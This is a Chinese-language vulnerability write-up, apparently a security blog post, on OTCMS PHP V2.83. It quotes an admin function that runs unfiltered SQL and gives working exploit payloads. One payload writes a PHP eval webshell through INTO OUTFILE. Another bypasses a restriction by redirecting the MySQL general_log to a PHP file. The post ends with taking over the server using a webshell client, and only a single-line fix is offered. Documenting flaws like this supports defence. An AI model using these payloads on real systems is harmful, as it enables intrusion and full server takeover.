0x00 环境准备
OTCMS官网:http://otcms.com
网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31]
程序源码下载:http://d.otcms.com/php/OTCMS_PHP_V2.83.rar
测试网站首页:
0x01 代码分析
1、漏洞文件地址:/admin/sysCheckFile_deal.php 第523--540行:
- function SqlDeal(){
- global $DB,$skin,$mudi,$menuFileID,$menuTreeID;
- $backURL = OT::PostStr('backURL');
- $sqlContent = OT::PostStr('sqlContent');
- if (strlen($sqlContent) == 0){
- JS::AlertBackEnd('SQL语句不能为空.');
- }
- 10.
- 11. $judRes = $DB->query($sqlContent);
- 12. if ($judRes){
- 13. $alertResult = '成功';
- 14. }else{
- 15. $alertResult = '失败';
- 16. }
- 17.
- 18. JS::AlertHrefEnd('执行'. $alertResult .'', $backURL);
- 19.
20. }
这段函数中,首先进行接收参数,判断sqlContent是否为空,然后带入到数据库中执行,根据返回结果判断语句是否执行成功。可以看到参数并未进行任何过滤或处理,导致程序在实现上存在代码执行漏洞,攻击者可以构造SQL语句写入脚本代码,进一步触发代码执行,控制网站服务器权限。
0x02 漏洞利用
1、登录后台,首先通过数据库备份功能获取网站物理路径:
2、访问漏洞地址,构造SQL语句进行文件写操作
漏洞URL:http://127.0.0.1/admin/sysCheckFile.php?mudi=sql
Payload:
- select '<?php eval($_POST[g]);?>' into outfile 'e:/study/WWW/otcms/Data_backup/1.php'
执行失败,程序在into outfile进行限制了。
3、如何绕过这种限制?
构造SQL语句利用日志写入文件:
- Payload:
- set global general_log = on; #开启general log模式
- set global general_log_file = 'e:/study/WWW/otcms/Data_backup/1.php'; #设置日志目录为shell地址
- select '<?php eval($_POST[g]);?>' #写入shell
4、成功触发脚本代码
5、通过菜刀连接,获取网站服务器控制权限
0x03 修复建议
1、Mysql数据库降权处理,让入侵者无法做高权限下可做的事!
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。